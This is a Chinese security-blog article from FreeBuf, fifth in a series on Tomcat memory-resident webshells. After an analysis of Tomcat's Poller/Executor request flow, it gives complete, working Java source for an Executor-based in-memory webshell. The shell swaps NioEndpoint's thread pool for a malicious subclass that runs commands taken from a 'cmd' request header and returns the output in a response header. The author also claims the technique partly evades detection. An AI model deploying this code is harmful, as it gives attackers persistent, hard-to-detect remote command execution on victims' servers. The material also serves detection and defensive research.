freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

绕过检测之Executor内存马浅析(内存马系列篇五)
RoboTerh 2022-09-18 17:08:59 356396
所属地 四川省

写在前面

前面已经从代码层面讲解了Tomcat的架构,这是内存马系列文章的第五篇,带来的是Tomcat Executor类型的内存马实现。有了前面第四篇中的了解,才能更好的看懂内存马的构造。

前置

什么是Executor

Executor是一种可以在Tomcat组件之间进行共享的连接池。

我们可以从代码中观察到对应的描述:

The Executor implementations provided in this package implement ExecutorService, which is a more extensive interface. The ThreadPoolExecutor class provides an extensible thread pool implementation. The Executors class provides convenient factory methods for these Executors.
Memory consistency effects: Actions in a thread prior to submitting a Runnable object to an Executor happen-before its execution begins, perhaps in another thread.

image-20220912172909884.png

Executes the given command at some time in the future. The command may execute in a new thread, in a pooled thread, or in the calling thread, at the discretion of the Executor implementation.
Params: command – the runnable task
Throws: RejectedExecutionException – if this task cannot be accepted for execution
NullPointerException – if command is null

对于他的作用,允许为一个Service的所有Connector配置一个共享线程池。

在运行多个Connector的状况下,这样处理非常有用,而且每个Connector必须设置一个maxThread值,但不希望Tomcat实例并发使用的线程最大数永远与所有连接器maxThread数量的总和一样高。

这是因为如果这样处理,则需要占用太多的硬件资源。相反,您可以使用Executor元素配置一个共享线程池,而且所有的Connector都能共享这个线程池。

分析流程

通过上篇文章的分析我们知道,

在启动Tomcat的时候首先会。

调用启动类,并传入参数start预示着Tomcat启动:

image-20220912175409785.png

这里调用start方法进行相关配置的初始化操作,

一直走到了org.apache.catalina.startup.Catalina类中load方法中调用了。this.getServer().init()方法进行Server的初始化操作,

即调用了LifecycleBase#init方法,进而调用了initInternal方法,即来到了他的实现类StandardServer#initInternal中来了。

image-20220912180117577.png

上篇中也提到过,将会循环的调用所有service的init方法,进而调用了StandardService#initInternal方法进行初始化,调用了Engine#init方法,因为没有配置Executor,所以在初始化的时候不会调用他的init方法,之后再调用mapperListener.init()进行Listener的初始化操作,在获取了所有的connector之后将会循环调用其init方法进行初始化。

image-20220912180558740.png

在初始化结束之后将会调用start方法

image-20220912193917307.png

即调用了Bootstrap#start方法,进而调用了Server.start方法

来到了StandardService#startInternal方法,紧跟着调用了上面调用了Init方法的start方法,成功启动Tomcat。

正文

接下来我们来分析一下为什么选用Executor来构造内存马,和如构造内存的流程。

分析注入方式

在成功开启了Tomcat之后,我们可以在Executor中的execute方法中打下断点,

image-20220912195616660.png

之后运行访问8080端口

在前面那一篇文章中我们知道Acceptor是生产者,而Poller是消费者,

在执行Endpoint.start()会开启Acceptor线程来处理请求。

在其run方法中存在

  1. 运行过程中,如果Endpoint暂停了,则Acceptor进行自旋(间隔50毫秒);

  2. 如果Endpoint终止运行了,则Acceptor也会终止;

  3. 如果请求达到了最大连接数,则wait直到连接数降下来;

  4. 接受下一次连接的socket。

这一步己经在运行Tomcat容器的时候已经进行了,

在我们访问Tomcat的页面之后将会创建一个线程,并调用target属性的run方法,这里的target就是Poller对象(消费者)。

image-20220912201105821.png

即调用了NioEndpoint$Poller#run方法,跟进

public void run() {
    while(true) {
        boolean hasEvents = false;

        label58: {
            try {
                if (!this.close) {
                    hasEvents = this.events();
                    if (this.wakeupCounter.getAndSet(-1L) > 0L) {
                        this.keyCount = this.selector.selectNow();
                    } else {
                        this.keyCount = this.selector.select(NioEndpoint.this.selectorTimeout);
                    }

                    this.wakeupCounter.set(0L);
                }

                if (!this.close) {
                    break label58;
                }

                this.events();
                this.timeout(0, false);

                try {
                    this.selector.close();
                } catch (IOException var5) {
                    NioEndpoint.log.error(AbstractEndpoint.sm.getString("endpoint.nio.selectorCloseFail"), var5);
                }
            } catch (Throwable var6) {
                ExceptionUtils.handleThrowable(var6);
                NioEndpoint.log.error("", var6);
                continue;
            }

            NioEndpoint.this.getStopLatch().countDown();
            return;
        }

        if (this.keyCount == 0) {
            hasEvents |= this.events();
        }

        Iterator iterator = this.keyCount > 0 ? this.selector.selectedKeys().iterator() : null;

        while(iterator != null && iterator.hasNext()) {
            SelectionKey sk = (SelectionKey)iterator.next();
            iterator.remove();
            NioEndpoint.NioSocketWrapper socketWrapper = (NioEndpoint.NioSocketWrapper)sk.attachment();
            if (socketWrapper != null) {
                this.processKey(sk, socketWrapper);
            }
        }

        this.timeout(this.keyCount, hasEvents);
    }
}

首先调用了events方法,查看队列中是否有Pollerevent事件,如果有就将其取出,然后把里面的Channel取出来注册到该Selector中,然后通过迭代器查看所有注册过的Channel查看是否有事件发生。
当有事件发生时,则调用SocketProcessor交给Executor执行。

调用了processKey(sk, socketWrapper)进行处理,

image-20220912213133643.png

该方法又会根据key的类型,来分别处理读和写,

  1. 处理读事件,比如生成Request对象;

  2. 处理写事件,比如将生成的Response对象通过socket写回客户端;

这里处理的是读事件,所以调用了processSocket方法,

image-20220912213448088.png

首先从processorCache中弹出一个Processor来处理socket,

之后调用getExecutor方法获取一个Executor对象。

image-20220912214811923.png

这里的executor是endpoint自己启动的ThreadPoolExecutor类,

在之后将会调用其execute方法。

image-20220912215239958.png

既然它能够调用Executor类的execute方法,那么我们可以创建一个恶意的Executor类继承ThreadPoolExecutor,并重写其中的execute方法,那么在调用该方法的时候将会执行我们的恶意代码。

但是,怎么才能将其中的executor属性值替换成我们的恶意Executor类呢?

我们可以注意到在AbstractEndpoint类中,我们在调用processSocket方法时候提取出来了executor属性值,那么是否有对应的setter方法呢?

image-20220912215740978.png

是的存在一个setExecutor方法,能够替换掉原来的executor属性值,之后在消费者消费的同时将会执行我们的恶意代码。

那么如果编写我们的恶意代码呢?

起码需要实现命令执行和回显的功能吧。

我们总需要获取到reqeust对象,出去对应的参数值,进行命令执行~

我们可以通过项目https://github.com/c0ny1/java-object-searcher来查找利用链,

我们可以发现在当前线程中的可以找到该请求:

((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb

可以将这段带入Evaluate进行计算,

image-20220912234357270.png

在这里我们能够获取到我们传入的参数值,之后就可以将其提取出来,进行执行命令。

后面就需要一个回显,回显命令执行之后的结果,如何回显?

我们可以观察到在AbstractProcessor类的构造方法中将会初始化一个Request和Response对象,

image-20220912235935342.png

既然我们需要做出回显,那么我们需要寻找response在哪里,同样可以通过前面那个项目快速搜索到。

((Request)((RequestInfo)((java.util.ArrayList)((RequestGroupInfo)((ConnectionHandler)((NioEndpoint)((Acceptor)((ThreadGroup)((TaskThread)this).group).threads[6].target).this$0).handler).global).processors).get(0)).req).response

image-20220913000750243.png

在知道了reponse的位置之后,我们就能过获取到对应的数据了。

此时的调用栈

prepareResponse:1081, Http11Processor (org.apache.coyote.http11)
action:384, AbstractProcessor (org.apache.coyote)
action:208, Response (org.apache.coyote)
sendHeaders:421, Response (org.apache.coyote)
doFlush:310, OutputBuffer (org.apache.catalina.connector)
close:270, OutputBuffer (org.apache.catalina.connector)
finishResponse:446, Response (org.apache.catalina.connector)
service:395, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

prepareResponse方法中,将会对response进行再次封装,我们只需要提前将我们命令执行后的结果放在reponse中,我们就可以得到回显了。

怎么写入reponse结构中呢?这里不想前面的三种内存马,能够直接创建回显,这里稍微复杂一点,我们可以来到org.apache.catalina.connector.Response这个类中。

image-20220913001636776.png

继承了HttpServletReponse接口,

image-20220913001807060.png

封装了很多方法,可以通过这些方法将回显的数据传回。

所以我们可以得到构造Executor内存马的流程:

  1. 首先获取对应的NioEndpoint(对比上面分析的request和response位置,我们可以知道有一个共同点);

  2. 获取对应的executor属性;

  3. 创建一个恶意的executor;

  4. 将恶意的executor传入。

手把手构造

我们可以通过在当前线程获取NioEndpoint类,为什么可以从当前线程找到呢?

我们可以查看上面寻找request的内存对象路径,

((Http11InputBuffer)((NioChannel)((Object[])((SynchronizedStack)((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0).nioChannels).stack)[0]).appReadBufHandler).byteBuffer.hb

其中有一段就是NioEndpoint类,

((NioEndpoint)((Acceptor)((Thread)this).group.threads[6].target).this$0)

所以我们可以编写获取方法,

public Object getNioEndpoint() {
    // 获取当前线程的所有线程
    Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
    for (Thread thread : threads) {
        try {
            // 需要获取线程的特征包含Acceptor
            if (thread.getName().contains("Acceptor")) {
                Object target = getField(thread, "target");
                Object nioEndpoint = getField(target, "this$0");
                return nioEndpoint;
            }
        } catch (Exception e) {
            continue;
        }
    }
    // 没有获取到对应Endpoint,返回一个空对象
    return new Object();
}

之后获取NioEndpoint类的executor属性,

本身在NioEndpoint类中并没有executor属性,但是我们可以观察该类的继承关系。

image-20220913114245364.png

在他的父类AbstractEndpoint类中是存在这个属性的,

ThreadPoolExecutor executor = (ThreadPoolExecutor) getField(nioEndpoint, "executor");

之后我们需要创建一个恶意的executor,需要实现命令执行和回显操作。

这一步可以分为好几步,首先需要获取到request对象中需要执行的命令,

对于request对象的获取可以结合上面贴的Evaluate进行构造:

public String getRequest() {
    try {
        // 通过调用getNioEndpoint方法获取到NioEndpoint对象
        Object nioEndpoint = getNioEndpoint();
        // 获取到stack数组
        Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");
        // 获取到Buffer
        ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
        String req = new String(heapByteBuffer.array(), "UTF-8");
        // 分割出command
        String cmd = req.substring(req.indexOf("cmd") + "cmd".length() + 1, req.indexOf("\r", req.indexOf("cmd")) - 1);
        return cmd;
    } catch (Exception e) {
        System.out.println(e);
        return null;
    }
}

大概提一下,为什么这里是+1不是+1不是我们在请求头冒号后面不是有一个空格吗,不是应该+2嘛,不是的,通过调用,我发现在获取的req中并没有空格存在,所以这里是+1。

而后面为什么要-1,就是因为在获取req中最后一个字符又存在两次,

image-20220913151232613.png

之后同样需要能够将执行结果写入reponse,

同样,因为response是封装在req对象中的,由此思路可以在当前线程中获取到response对象。

之后通过addHeader方法将结果写入返回头中,

// 获取命令执行返回的回显结果
public void getResponse(byte[] res) {
    try {
        // 获取NioEndpoint对象
        Object nioEndpoint = getNioEndpoint();
        // 获取线程中的response对象
        ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");
        // 遍历获取response
        for (Object processor : processors) {
            RequestInfo requestInfo = (RequestInfo) processor;
            // 获取到封装在req的response
            Response response = (Response) getField(getField(requestInfo, "req"), "response");
            // 将执行的结果写入response中
            response.addHeader("Execute-result", new String(res, "UTF-8"));
        }
    } catch (Exception e) {

    }
}

最后一步就是重写Exector的execute方法了。

执行命令,将结果输入流写入response中去,

public void execute(Runnable command) {
    // 获取command
    String cmd = getRequest();
    try {
        String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
        byte[] result = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next().getBytes();
        getResponse(result);
    } catch (Exception e) {

    }

    this.execute(command, 0L, TimeUnit.MILLISECONDS);
}

最后就需要将我们构造的恶意executor传入,

nioEndpoint.setExecutor(exe);

完整的内存马

package pres.test.momenshell;

import org.apache.coyote.Response;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.NioEndpoint;
import org.apache.tomcat.util.threads.ThreadPoolExecutor;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.TimeUnit;

public class AddTomcatExecutor extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req, resp);
    }

    public Object getField(Object obj, String field) {
        // 递归获取类的及其父类的属性
        Class clazz = obj.getClass();
        while (clazz != Object.class) {
            try {
                Field declaredField = clazz.getDeclaredField(field);
                declaredField.setAccessible(true);
                return declaredField.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }

    public Object getNioEndpoint() {
        // 获取当前线程的所有线程
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            try {
                // 需要获取线程的特征包含Acceptor
                if (thread.getName().contains("Acceptor")) {
                    Object target = getField(thread, "target");
                    Object nioEndpoint = getField(target, "this$0");
                    return nioEndpoint;
                }
            } catch (Exception e) {
                e.printStackTrace();
                continue;
            }
        }
        // 没有获取到对应Endpoint,返回一个空对象
        return new Object();
    }
    class executorEvil extends ThreadPoolExecutor {
        public executorEvil(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
            super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
        }
        public String getRequest() {
            try {
                // 通过调用getNioEndpoint方法获取到NioEndpoint对象
                Object nioEndpoint = getNioEndpoint();
                // 获取到stack数组
                Object[] objects = (Object[]) getField(getField(nioEndpoint, "nioChannels"), "stack");
                // 获取到Buffer
                ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
                String req = new String(heapByteBuffer.array(), "UTF-8");
                // 分割出command
                String cmd = req.substring(req.indexOf("cmd") + "cmd".length() + 1, req.indexOf("\r", req.indexOf("cmd")) - 1);
                return cmd;
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }
        // 获取命令执行返回的回显结果
        public void getResponse(byte[] res) {
            try {
                // 获取NioEndpoint对象
                Object nioEndpoint = getNioEndpoint();
                // 获取线程中的response对象
                ArrayList processors = (ArrayList) getField(getField(getField(nioEndpoint, "handler"), "global"), "processors");
                // 遍历获取response
                for (Object processor : processors) {
                    RequestInfo requestInfo = (RequestInfo) processor;
                    // 获取到封装在req的response
                    Response response = (Response) getField(getField(requestInfo, "req"), "response");
                    // 将执行的结果写入response中
                    response.addHeader("Execute-result", new String(res, "UTF-8"));
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public void execute(Runnable command) {
            // 获取command
            String cmd = getRequest();
            try {
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
                byte[] result = new java.util.Scanner(new ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next().getBytes();
                getResponse(result);
            } catch (Exception e) {
                e.printStackTrace();
            }

            this.execute(command, 0L, TimeUnit.MILLISECONDS);
        }
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        // 从线程中获取NioEndpoint类
        NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
        // 获取executor属性
        ThreadPoolExecutor executor = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
        // 实例化我们的恶意executor类
        executorEvil evil = new executorEvil(executor.getCorePoolSize(), executor.getMaximumPoolSize(), executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(), executor.getThreadFactory(), executor.getRejectedExecutionHandler());
        // 将恶意类传入
        nioEndpoint.setExecutor(evil);
    }
}

简单示例

我们可以创建一个继承了HttpServlet的类,就是上面的完整内存马。

我们通过方法这个Servlet的方法写入内存马,

在web.xml中添加路由映射,

<servlet>
    <servlet-name>AddTomcatExecutor</servlet-name>
    <servlet-class>pres.test.momenshell.AddTomcatExecutor</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>AddTomcatExecutor</servlet-name>
    <url-pattern>/addTomcatExecutor</url-pattern>
</servlet-mapping>

在开启Tomcat之后,访问该路由,

将会成功写入内存马,

之后通过burp发送数据包,加上一个cmd的请求头,后面包含执行的命令。

image-20220913153442864.png

成功执行命令并回显。

总结

这个是一个比较新颖的内存马思路,使用了Connector中的组件构造出了独特的内存马。

同样可以一定程度上绕过检测与查杀,当然后面会有几篇和查杀有关的篇章,将会进行比较各个内存马的差异。

构造内存马思路:

  1. 首先获取对应的NioEndpoint(对比上面分析的request和response位置,我们可以知道有一个共同点);

  2. 获取对应的executor属性;

  3. 创建一个恶意的executor;

  4. 将恶意的executor传入。

Reference

https://xz.aliyun.com/t/11593

# 漏洞分析
本文为 RoboTerh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
花样构造内存马
RoboTerh LV.5
Q 2865153524
  • 39 文章数
  • 94 关注者
JSP型内存马的原理学习与实现
2023-09-08
攻防渗透 | WebsocketAndTimer内存马的查杀分析和代码实现
2023-07-16
ExecutorAndUpgrade内存马的查杀分析和代码实现
2023-07-05
文章目录